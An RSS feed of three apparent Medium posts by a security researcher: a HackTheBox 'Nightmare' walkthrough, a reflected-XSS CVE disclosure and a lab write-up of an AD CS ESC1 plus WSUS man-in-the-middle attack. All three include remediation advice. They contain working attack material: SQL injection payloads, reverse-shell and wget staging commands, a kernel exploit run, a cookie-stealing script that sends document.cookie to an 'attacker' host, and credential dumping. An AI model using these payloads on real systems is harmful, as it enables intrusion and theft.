<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mohammed ElKhateb (HoRRus) on Medium]]></title>
        <description><![CDATA[Stories by Mohammed ElKhateb (HoRRus) on Medium]]></description>
        <link>https://medium.com/@HoRRus?source=rss-917f01b74c8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*PiVcD9NeuZ-jKh2zk3rmAA.png</url>
            <title>Stories by Mohammed ElKhateb (HoRRus) on Medium</title>
            <link>https://medium.com/@HoRRus?source=rss-917f01b74c8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 23:34:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@HoRRus/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HackTheBox — Nightmare (Insane)]]></title>
            <link>https://medium.com/@HoRRus/hackthebox-nightmare-insane-dbc515680433?source=rss-917f01b74c8------2</link>
            <guid isPermaLink="false">https://medium.com/p/dbc515680433</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Mohammed ElKhateb (HoRRus)]]></dc:creator>
            <pubDate>Tue, 13 Oct 2026 00:00:58 GMT</pubDate>
            <atom:updated>2026-10-13T14:14:38.268Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5xR3aaeMmefkRGoFHa9WUQ.png" /></figure><blockquote><strong><em>Box: Nightmare · OS: Linux (Ubuntu 16.04) · Difficulty: Insane Authors: decoder &amp; stefano118 ,Skills: Second‑order SQL injection · Exploiting a misconfigured OpenSSH SFTP server (Jann Horn /proc/self/mem ) · Reversing a 64‑bit SGID binary · Linux kernel exploitation (CVE‑2017‑1000112)</em></strong></blockquote><p>Nightmare is one of the most restriction‑heavy boxes on HackTheBox. Nothing is handed to you: the web app looks trivial but hides a second‑order SQL injection, the SSH service is a <strong>read‑only, chrooted‑feeling SFTP with no shell</strong>, the filesystem fights you at every write, and root needs a <strong>hand‑modified kernel exploit</strong>. This writeup walks the full chain and, importantly, ships a <strong>clean Python 3 rewrite of the classic SECFORCE SFTP exploit</strong> that works on modern Kali/pwntools.</p><p><strong>TL;DR — Attack Chain (PTES‐mapped)</strong><br><strong>1. Recon</strong> — nmap → 80/tcp Apache, 2222/tcp OpenSSH<br><strong>2. Vuln Analysis</strong> — NOTES web app → second‐order SQLi in notes.php<br><strong>3. Exploitation (web)</strong> — Dump sysadmin.users → plaintext creds incl. ftpuser<br><strong>4. Exploitation (foothold)</strong> — SSH/SFTP has no TTY → abuse the OpenSSH /proc/self/mem<br>misconfig with a custom Python 3 exploit → reverse shell as ftpuser<br><strong>5. Privesc</strong> → decoder — SGID binary /usr/bin/sls → newline ( -b ) command injection → read<br>user.txt<br><strong>6. Privesc</strong> → root — CVE‐2017‐1000112 compiled static, lsb-release trick, run as ftpuser → root</p><h4>1. Reconnaissance:</h4><pre>nmap -p - min-rate 2000 -T4 XX.XXX.XX.XX</pre><p>Only two ports:</p><p>80/tcp open http Apache httpd 2.4.18 ((Ubuntu))<br>2222/tcp open ssh OpenSSH (protocol 2.0) # non-standard port, old custom banner</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ThWDnrYzj6Fx59D2s2LfwA.png" /><figcaption>nmap — only 80/tcp (Apache) and 2222/tcp (a custom 32‑bit OpenSSH) are open.</figcaption></figure><h4>2. Web Enumeration:</h4><pre>gobuster dir -u http://XX.XXX.XX.XX/ -w /usr/share/wordlists/dirb/common.txt -x php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*p3n_FuNlf_v2xbpBR7uc0A.png" /><figcaption>/secret/download.php looks like an LFI but basename() kills directory traversal — a deliberate rabbit hole.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GrPQQNL3TeYJvYfbEg1oow.png" /><figcaption>The NOTES login page — “Abandon all hope, you who enter here.”</figcaption></figure><p>Registration — where we plant the second‑order SQLi payload as our username.</p><h4>3. Second‑Order SQL Injection:</h4><p>The injection is not in the login or register query — those use prepared statements. It’s in the notes listing on notes.php :</p><p><strong>// notes.php (vulnerable query) $query = $pdo-&gt;prepare( “SELECT n.title, n.text FROM notes n INNER JOIN users u ON (u.id=n.user) WHERE u.username=(‘$_SESSION[user]’) ORDER BY n.id DESC”);</strong></p><p>$_SESSION[‘user’] is the username you registered with, inserted unsanitised into a second query. So: register a username that is a SQL payload, log in, and the result renders in the notes list. Classic second‑order SQLi. Column count (note the ‘) to break out of the WHERE u.username=(‘…’) ):</p><h4>Register username: a’) UNION SELECT 1,2 — -</h4><p>Two columns; column 2 is reflected. **Dump the schema and the juicy table:**</p><pre>a&#39;) UNION SELECT 1,group_concat(DISTINCT table_schema) FROM information_schema.tables - -<br> -&gt; information_schema, notes, sysadmin</pre><pre>a&#39;) UNION SELECT username,password FROM sysadmin.users - -</pre><h4>The `sysadmin.users` table is padded with decoy `testN:password` rows — filter them out (`WHERE password != md5(‘password’)`) to reveal the real, **plaintext** credentials:<br>admin : nimda<br>cisco : cisco123<br>adminstrator : Pyuhs738?183*hjO!<br>root : HasdruBal78<br>decoder : HackerNumberOne!<br>ftpuser : @whereyougo? ← the one that matters</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6wTzAuhL_X7makeyJzwb6w.png" /><figcaption>After registering the UNION payload as a username and logging in, notes.php renders the full sysadmin.users table in plaintext — including ftpuser:@whereyougo? .</figcaption></figure><h4>4. The SFTP Wall — and the /proc/self/mem Exploit</h4><p>ftpuser:@whereyougo? authenticates on 2222 , but there is no shell:</p><p>ssh -p 2222 ftpuser@XX.XXX.XX.XX # connects, no TTY, drops you nowhere<br>sftp -P 2222 ftpuser@XX.XXX.XX.XX # works — but read-only, can’t write files</p><p>/etc/passwd tells the story:</p><p>ftpuser:x:1002:1002::/:/usr/local2/libexec/sftp-server</p><blockquote><strong>ftpuser ’s login shell</strong> is the SFTP server binary itself — a custom, read‑only OpenSSH sftp-server . You can browse the whole filesystem but can’t write anything to disk. This is the exact scenario for Jann Horn’s OpenSSH ≤ 6.6 SFTP misconfiguration (seclists, SECFORCE PoC): the SFTP user can open /proc/self/mem read‑write. Read‑only mode blocks creating files, but not writes to the already‑open /proc/self/mem handle — so we overwrite the server’s entire stack with a ret ‑slide ending in system(payload) .</blockquote><h3>The Python 3 exploit:</h3><p><strong>The original SECFORCE PoC is Python 2</strong>. Here is a modernised Python 3 version (pwntools‑based) that I used — clean logging, fit() ‑built stack, and both i386/amd64 ROP handling: you will find the <strong>EXPLOIT</strong> in my <strong>REPO.</strong></p><pre>https://github.com/7Horrus/HoRRus-HTB-Writeups/blob/master/Nightmare/sftp-exploit.py</pre><p>Configure the 4 addresses at the top of the script before running.</p><blockquote><strong>Note — firewall: outbound is filtered; the reverse shell must call back on 443. Start the listener first</strong></blockquote><blockquote><strong>💡 pwntools tip: on modern Kali/Python the script prints [!] Could not populate PLT: No module named ‘unicorn’ — ignore it, the exploit still works. unicorn is only used by pwntools for PLT emulation (not needed here), and it’s the one dependency that fails to build on new systems ( error: [Errno 2] No such file or directory: ‘cmake’ ). So you do not need a full pwntools install — pip install pwntools without unicorn, or just paramiko + pyelftools , is enough.</strong></blockquote><pre>nc -lvnp 443 # terminal 1</pre><pre>python3 sftp-exploit.py # terminal 2</pre><p>When the stack write crashes the server, the smashed return address slides into system(payload) → reverse shell as ftpuser :</p><p>When the stack write crashes the server, the smashed return address slides into system(payload) → reverse shell as ftpuser :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9930rs8mckTeMcfuDa0b-w.png" /><figcaption>python3 sftp-exploit.py — it reads /proc/self/maps , pulls libc-2.23.so , resolves system() / exit() , builds the ret -slide and overwrites the stack. “SSH Connection was forcefully closed!” is the success signal.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sAuZdx8DSYV7aaCnCC_akw.png" /><figcaption>Caught on nc -lvnp 443 — a shell as ftpuser on nightmare , kernel 4.8.0–58- generic .</figcaption></figure><h4><strong>5. ftpuser → decoder ( user.txt ): the SGID sls binary:-</strong></h4><p>user.txt lives in /home/decoder/ and is only readable by the decoder group. Hunt for decoder‑owned SGID binaries:</p><pre>find / -perm -2000 -group decoder 2&gt;/dev/null    <br># -&gt; /usr/bin/sls</pre><p><strong>sls </strong>is a 64‑bit, SGID‑decoder “custom ls”. Reversing it (\strings/Ghidra/objdump) shows it builds /bin/ls + argv and passes it to system(), with a filter:</p><p>- Blacklisted chars: | &amp; &gt; &lt; \ [ ] { } ; and the substring $(<br>- Newline (\n) is allowed only when the -b flag is set</p><p>Since ; is blocked but newline isn’t, a newline is our command separator, and because sls is SGID decoder, the injected command runs with the decoder group:</p><pre>/usr/bin/sls -b &quot;$(printf &#39;\n/bin/sh&#39;)&quot;<br># or, in bash:<br>/usr/bin/sls -b $&#39;\n/bin/sh&#39;</pre><pre>$ id<br>uid=1002(ftpuser) gid=1002(ftpuser) egid=1001(decoder) groups=1001(decoder),1002(ftpuser)<br>$ cat /home/decoder/user.txt<br>XXXXXXXXXXXXXXXXXXXXXXXXXXXXX</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UsPx1KQTiAHdyfFqrpav2w.png" /></figure><h4>6. decoder → root: CVE‑2017‑1000112 →</h4><p>Kernel: 4.8.0–58-generic (Ubuntu 16.04 xenial) → CVE‑2017‑1000112 (xairy PoC). Three obstacles make this the “insane” part:</p><pre>https://github.com/7Horrus/HoRRus-HTB-Writeups/blob/master/Nightmare/CVE-2017-1000112-poc.c<br>#OR the original founder<br>https://github.com/xairy/kernel-exploits</pre><p><strong>(a) No compiler on the box + glibc mismatch.</strong> gcc is denied and a dynamically‑linked binary built on modern Kali throws GLIBC_2.34 not found . Compile static on the attacker:</p><p>After Download the <strong>CVE-2017–1000112</strong> (b) /etc/lsb-release is missing, so detect_versions() fails. Patch the PoC to read it from a writable path, and drop a matching file:</p><pre>gcc poc.c -o hrs -static -pthread <br>read_file(&quot;/home/decoder/test/lsb-release&quot;, ...);!!!</pre><pre># lsb-release<br>DISTRIB_ID=Ubuntu<br>DISTRIB_RELEASE=16.04<br>DISTRIB_CODENAME=xenial<br>DISTRIB_DESCRIPTION=&quot;Ubuntu 16.04.3 LTS&quot;</pre><p>© <strong>/tmp is noexec .</strong> You can only execute from <strong>/home/decoder/test</strong> (writable by the <strong>decoder group</strong>). Stage the files there (serve them over HTTP on a reachable port, e.g. 80):</p><pre># attacker<br>python3 -m http.server 80</pre><pre># target (decoder-group shell can write /home/decoder/test)<br>cd /home/decoder/test<br>wget -q http://10.10.XX.XXX:80/exploit -O /home/decoder/test/r<br>wget -q http://10.10.XX.XXX:80/lsb-release -O /home/decoder/test/lsb-release<br>chmod +x /home/decoder/test/hrs</pre><blockquote><strong>⚠️ Got Text file busy ? A previous run still holds the file — use a fresh filename ( -O …/r ) and/or kill stale processes.</strong></blockquote><p><strong>The key gotcha — run it as ftpuser , NOT decoder. Inside the sls decoder shell the user‑namespace setup fails:</strong></p><pre>[-] write_file(/proc/self/set_groups): Permission denied</pre><p>Drop the decoder egid (back to the plain ftpuser shell, or newgrp ftpuser ) and run it:</p><pre>newgrp ftpuser  # or exit the sls subshell; id must show gid=1002(ftpuser), no decoder egid<br></pre><pre>/home/decoder/test/hrs<br>[.] kernel version &#39;4.8.0-58-generic&#39; detected<br>[~] done, versions looks good<br>[.] checking SMEP and SMAP -&gt; [~] done, looks good<br>[.] setting up namespace sandbox -&gt; [~] done<br>[.] KASLR bypass enabled, getting kernel addr -&gt; [~] kernel text: ffffffffa0200000<br>[.] executing payload ...<br>[+] got r00t ^_^<br>root@nightmare:/home/decoder# cat /root/root.txt<br>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX7 # (flag is per-spawn)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mwY1cF2qWXS5mkdLYatKLw.png" /><figcaption>Run as ftpuser (not decoder), the kernel exploit detects the kernel, bypasses SMEP/KASLR, and drops a root shell → root.txt .</figcaption></figure><h4>7. Why it was INSANE (Lessons):</h4><ul><li>This Machine is from <strong>2018</strong> so Every CVE or POC is not Working for the new ENV.s Today and you must Edit or Reconfigure it <strong>Manually.</strong></li><li>The injection is second‑order the payload is stored at registration and only fires on a different page.</li><li>The foothold needs memory corruption without touching disk the SFTP server is read‑only, and the trick is that /proc/self/mem writes bypass that.</li><li>Every obvious step is gated: secret LFI is neutralised, /tmp is noexec , there’s no compiler, /etc/lsb-release is missing, and the kernel exploit only works from <strong>the right group context</strong>.</li></ul><h4>8. Remediation:</h4><ul><li><strong>Web</strong>: never build SQL from stored user input — use parameterised queries everywhere, including second‑order sinks.</li><li><strong>SFTP</strong>: upgrade OpenSSH; never allow SFTP users to open /proc/self/mem ; chroot SFTP‑only accounts properly ( ChrootDirectory , ForceCommand internal-sftp ).</li><li><strong>Local</strong>: remove needless SGID binaries that call system() ; patch the kernel (CVE‑2017‑1000112 was fixed in 2017); set kernel.unprivileged_userns_clone=0 .</li></ul><blockquote>Flags are regenerated per spawn — the values shown are from one instance and won’t validate on yours. Capture your own.</blockquote><p>Full writeup and all files are in my repo: <a href="https://github.com/7Horrus/HoRRus-HTB-Writeups/tree/master/Nightmare">https://github.com/7Horrus/HoRRus-HTB-Writeups/tree/master/Nightmare</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dbc515680433" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ One Parameter. One Script Tag. One CVE.]]></title>
            <link>https://medium.com/@HoRRus/one-parameter-one-script-tag-one-cve-db67edcaea1e?source=rss-917f01b74c8------2</link>
            <guid isPermaLink="false">https://medium.com/p/db67edcaea1e</guid>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Mohammed ElKhateb (HoRRus)]]></dc:creator>
            <pubDate>Fri, 11 Sep 2026 17:53:24 GMT</pubDate>
            <atom:updated>2026-09-11T17:53:24.126Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bGGdOShfXiVmZ6ao6V4jyw.jpeg" /><figcaption>CVE-2025–63607 Discovered By HoRRus</figcaption></figure><p>&gt; 🧠 TL;DR — I found a reflected XSS in TechStore v1.0. One GET parameter, `id`, gets dropped straight into the page with no encoding and no validation. Send someone a crafted link, and your JavaScript runs in their browser. I reported it, and it’s now on record as CVE-2025–63607. Here’s exactly how I found it.</p><p>Let’s be honest — reflected XSS doesn’t get you domain admin. It won’t make anyone gasp on Twitter. But it’s everywhere, and it hides in the most boring line of code you can imagine. That’s what makes it interesting to me. This one was hiding in a single parameter, and it took about thirty seconds to smell it.</p><p>🎯 The target</p><p>TechStore v1.0 is a small e-commerce app. It has a display endpoint that takes an ID and shows you a record:</p><p>GET /contact_display?id=1</p><p>Looks fine. The developer clearly expects `id` to be a number. But what happens when I don’t give it one? Let’s find out.</p><p>🔎 Step 1 — Does my input come back?</p><p>First thing I always check when a parameter ends up on the page: do I get my input back, and how? So I throw in a marker instead of a real ID:</p><p><a href="http://127.0.0.1:5001/contact_display?id=HORRUS_TEST_123">http://127.0.0.1:5001/contact_display?id=HORRUS_TEST_123</a></p><p>And… there it is. HORRUS_TEST_123, sitting right there in the HTML, exactly as I typed it.</p><p>✅ Reflected.</p><p>Okay, reflection by itself is nothing. Loads of apps reflect input. The real question is the next one.</p><p>💥 Step 2 — Is it encoded?</p><p>If this app were doing its job, my “less-than” sign would come back as an HTML entity and the browser would just print it as text. So let’s push on it with actual markup:</p><p><a href="http://127.0.0.1:5001/contact_display?id=1">http://127.0.0.1:5001/contact_display?id=1</a>&lt;​script&gt;alert(&#39;XSS POPUP’)&lt;​/script&gt;</p><p>Alert box. Instantly.</p><p>🎯 PWn3d! The script tag executed.</p><p>No encoding. No validation. That `id` parameter is a straight pipe from the URL into the page. Nothing in between.</p><p>🧠 Why does this happen?</p><p>Two mistakes, stacked:</p><p>- The app never checks that `id` is a number (it should be).<br>- The app never encodes the value before writing it into HTML.</p><p>Either one of those on its own would’ve stopped me cold. Both missing? That’s the whole bug.</p><p>🔓 Step 3 — Okay, but who cares about an alert box?</p><p>Fair question. An alert() proves the code runs — it doesn’t prove damage. So let’s make it real. The script runs inside the victim’s logged-in session, so I can just… take the session:</p><p>id=1&lt;​script&gt;new Image().src=’<a href="http://attacker/c?&#39;+document.cookie">http://attacker/c?&#39;+document.cookie</a>&lt;​/script&gt;</p><p>One line. It quietly ships the victim’s cookie off to a server I control. From there it’s session hijacking, doing things as them, dropping a fake login form, whatever I want.</p><p>And how do I deliver it? A link. That’s it. Email, a DM, a post — the victim clicks once and it’s done. I never even touch the server.</p><p>⚠️ The dangerous part was never the payload. It’s that all it takes is a click.</p><p>🛡️ For the defenders</p><p>Here’s the good news — this bug is old, so the fixes are boring and reliable:</p><p>1. Encode your output. Every user-controlled value that lands in HTML gets escaped first. Do just this one thing and my whole attack dies.</p><p>2. Validate your input. `id` is supposed to be a number — so enforce that and throw out everything else. Backup layer, not a replacement for #1.</p><p>3. Add a CSP. A Content-Security-Policy that blocks inline scripts means that even if something sneaks through, the browser refuses to run it.</p><p>📌 Last thought</p><p>CVE-2025–63607 is not some clever exploit chain, and I’m not going to pretend it is. It’s a reminder that the nastiest-looking real-world bugs live in the most ordinary code — one parameter, reflected once, never escaped. That’s the seam we look for as attackers. And on the other side, it closes with a single line of code.</p><p>So — check where your input lands. Test the encoding yourself. Don’t trust the framework to do it for you.</p><p>Stay secure, and always escape what you print. 🔥</p><p>— -</p><p>This was found and tested against a lab-hosted, intentionally-vulnerable instance of TechStore v1.0, and disclosed responsibly.</p><p>Official record: <a href="https://www.cve.org/CVERecord?id=CVE-2025-63607">https://www.cve.org/CVERecord?id=CVE-2025-63607</a> .</p><p>Full technical write-up and PoC on my GitHub: <a href="https://github.com/7Horrus/security-research/tree/main/CVE-2025-63607">https://github.com/7Horrus/security-research/tree/main/CVE-2025-63607</a></p><p>— Mohammed ElKhateb (HoRRus) · Vulnerability Researcher &amp; Red Team · <a href="https://horrus-offsec.com/">https://horrus-offsec.com/</a> ·</p><p>LinkedIn: <a href="https://www.linkedin.com/in/mohammed-elkhateb-horrus">https://www.linkedin.com/in/mohammed-elkhateb-horrus</a></p><p>Hack The Box: <a href="https://app.hackthebox.com/users/1506676">https://app.hackthebox.com/users/1506676</a></p><p>#Red Team , #Cybersecurity , #Vulnerability_Researcher, #XSS , #Bug Bounty , #Web Security</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=db67edcaea1e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ WSUS over HTTPS? Still Secure? Think Again…]]></title>
            <link>https://medium.com/@HoRRus/wsus-over-https-still-secure-think-again-b4e346b68467?source=rss-917f01b74c8------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4e346b68467</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[windows-security]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Mohammed ElKhateb (HoRRus)]]></dc:creator>
            <pubDate>Tue, 13 Jan 2026 01:20:35 GMT</pubDate>
            <atom:updated>2026-01-13T01:20:35.128Z</atom:updated>
            <content:encoded><![CDATA[<h3>From Domain User to Full Domain Control via AD CS ESC1 &amp; WSUS MITM Attack (Even Over HTTPS!)</h3><h3>🧠 TL;DR</h3><p>This post walks through a <strong>realistic red team scenario</strong> where a misconfigured <strong>Active Directory Certificate Services (AD CS)</strong> combined with a <strong>legitimate HTTPS WSUS server</strong> leads to <strong>full domain compromise</strong>.<br> We leverage:</p><ul><li><strong>ESC1 (CVE-2022–26923)</strong> vulnerability in AD CS</li><li><strong>WSUSKS tool</strong> for WSUS MITM</li><li>And a poorly secured certificate template.</li></ul><p>All steps are supported with screenshots (1–11) from an internal lab.<br> Starting with just a <strong>Domain User</strong>, we end up extracting <strong>Admin credentials, hashes, and DPAPI secrets</strong>. 🔥</p><h3>🔧 Lab Setup</h3><ul><li><strong>AD Server</strong> with AD CS configured</li><li><strong>WSUS Server</strong> with HTTPS (port 8531)</li><li><strong>Domain-joined Windows client</strong></li><li><strong>Attacker</strong> machine (Kali Linux)</li></ul><h3>🧩 Key Concepts</h3><p><strong>Active Directory (AD)</strong><br> Manages user accounts, groups, computers, and policies within a Windows network.</p><p><strong>WSUS (Windows Server Update Services)</strong><br> Used by sysadmins to distribute updates across internal machines, avoiding internet-based updates.</p><p><strong>HTTPS</strong><br> Encrypts communication over the network using TLS. WSUS over HTTPS is intended to prevent MITM (Man-In-The-Middle) attacks.</p><p>But… is it foolproof? Let’s find out.</p><h3>📍 Step 1: Initial Scan — WSUS Not Vulnerable (Or Is It?)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uB3jNiEjTxyZmjbVOxA4fg.png" /></figure><p>We first run wsuks to check for WSUS attack feasibility. The tool confirms the WSUS is <strong>not vulnerable</strong> because it’s using <strong>HTTPS</strong>.</p><blockquote><em>✅ HTTPS detected: </em><em>https://wsus-server.lab.local:8531<br> ❌ Not vulnerable to classic WSUS MITM via HTTP</em></blockquote><p>But what if we could <strong>impersonate the HTTPS WSUS server itself</strong>?</p><h3>Step 2: Discovering ESC1 Vulnerability in AD CS</h3><p>Using <a href="https://github.com/ly4k/Certipy">certipy</a>, we enumerate available certificate templates with the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B4eg2zOSrlu_jYTTtKieXQ.png" /></figure><pre>certipy-ad find -u USER -p &#39;Password&#39; -dc-ip IP --stdout --vuln</pre><blockquote><em>🔍 We discover a </em><strong><em>misconfigured template</em></strong><em>: </em><em>WebServer<br> 🟢 It allows </em><strong><em>Domain Users</em></strong><em> to request certificates<br> 🟢 It accepts arbitrary </em><strong><em>Subject CNs</em></strong></blockquote><p>This is a textbook case of <strong>ESC1 (CVE-2022–26923)</strong>:<br> If a template allows users to supply a custom <strong>CN</strong>, they can impersonate any machine — even wsus-server.lab.local.</p><h3>Step 3: Requesting a Malicious Certificate</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k_fCf8ZayTedDouSdMiqZg.png" /></figure><p>We use certipy to request a certificate pretending to be the WSUS server:</p><pre>certipy-ad req -u USER -p &#39;Password&#39; \<br>-dc-ip IP \<br>-ca &#39;lab-WIN-S28SBUGPE24-CA&#39; \<br>-template &#39;WebServer&#39; \<br>-subject &#39;CN=wsus-server.lab.local&#39; \<br>-out CA.pfx</pre><blockquote><em>✅ Certificate generated with the identity of the real WSUS server<br> 🔐 We export it to </em><em>mazzo.pfx (contains private key)</em></blockquote><h3>Step 4: Convert Certificate to PEM Format</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VRUyJ8iQeQJErGjcHmGkng.png" /></figure><p>We convert the .pfx file to .pem for usage in our fake WSUS HTTPS server:</p><pre>openssl x509 -in wsus.pem -text -noout</pre><blockquote><em>🔍 The cert shows </em><em>CN=wsus-server.lab.local – exactly what we need for impersonation.</em></blockquote><h3>Step 5: Spin Up the Fake WSUS Server</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GGRYqANlUpfy7VUWaeSjQg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tLoZo7uD5uK0yyOptFHCDQ.png" /></figure><p>We now launch a fake WSUS server using wsuks, this time <strong>with HTTPS support</strong> using our malicious cert:</p><pre>sudo wsuks -t 10.10.1.210 \<br>--WSUS-Server wsus-server.lab.local \<br>--tls-cert wsus.pem</pre><blockquote><em>🛑 ARP Spoofing enabled to redirect traffic<br> 🪝 Client redirected to our </em><strong><em>malicious WSUS</em></strong><em><br> 📦 Fake update served as </em><em>KB3309696 → actually contains </em><em>PsExec.exe that creates an admin user</em></blockquote><h3>Step 6: Payload Execution on Client</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*8pzHtgQJdXIVqmkWWtiKTg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NPzHy3r1XtAkQMYsSr807g.png" /></figure><p>The Windows client (CLIENT01) checks for updates and downloads the fake KB3309696.<br> The payload gets executed via Windows Update and:</p><ul><li>✅ Creates a new local user: user58436</li><li>✅ Adds them to the <strong>Administrators</strong> group</li></ul><p>Just like that, we have <strong>Admin on the box</strong>.</p><h3>Step 7: Dumping SAM, LSA &amp; DPAPI Secrets</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Xh2iQBNDaUhcJfoq_f_Jg.png" /><figcaption>PWn3d!</figcaption></figure><p>Using nxc or any post-exploitation SMB tool:</p><pre>nxc smb 10.10.1.210 -u user58436 -p &#39;BmHZ4W0uJ MEd1!&#39; --local-auth --sam --lsa</pre><blockquote><em>✅ Extracted:</em></blockquote><ul><li><strong>SAM Hashes</strong></li><li><strong>LSA Secrets</strong> (contains plaintext passwords)</li><li><strong>DPAPI Keys</strong></li></ul><p>Game Over. 🎯</p><h3>⚠️ Root Cause: Misconfigured Certificate Template</h3><p>This full attack was made possible <strong>because of a single misconfigured template</strong> (WebServer) that:</p><ul><li>❌ Allowed Domain Users to request certs</li><li>❌ Allowed arbitrary Subject CN</li><li>❌ Did not require manager approval</li></ul><p>Even though WSUS was using HTTPS, the <strong>client fully trusted the attacker</strong> because the certificate was <strong>valid and signed</strong> by a trusted internal CA.</p><h3>💡 Takeaways</h3><blockquote><em>You can’t rely on HTTPS alone.<br> Internal CAs and AD CS misconfigurations can break the trust model from within.</em></blockquote><p>In this case, a <strong>valid signed certificate</strong> was the key to bypassing HTTPS protections and impersonating critical infrastructure.</p><p>This attack was performed in a controlled lab for educational purposes only.<br> This scenario represents real misconfigurations often found in enterprise environments.</p><p>Stay secure — and always validate what your clients <strong>trust</strong>!</p><p>🛠 Tools:<br>- Certipy: <a href="https://github.com/ly4k/Certipy">https://github.com/ly4k/Certipy</a><br>- WSUSKS: <a href="https://github.com/NeffIsBack/WSUSKS">https://github.com/NeffIsBack/WSUSKS</a></p><p>If you found this useful, consider giving it a clap 👏 or sharing it with your red/blue team friends!</p><p>👤 About the Author:<br>HoRRus is Red Teamer &amp; Security Researcher interested in AD, internal attacks, and real-world exploitation techniques.</p><p>📬 Connect with me:<br>- 💼 LinkedIn: <a href="https://www.linkedin.com/in/mohammed-elkhateb-horrus?lipi=urn%3Ali%3Apage%3Ad_flagship3_profile_view_base_contact_details%3BPjGLTt54TDeJvijrKjzn%2Fg%3D%3D">https://www.linkedin.com/in/mohammed-elkhateb-horrus</a></p><p>#ActiveDirectory<br>#CyberSecurity<br>#RedTeam<br>#WindowsSecurity<br>#PenetrationTesting</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4e346b68467" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>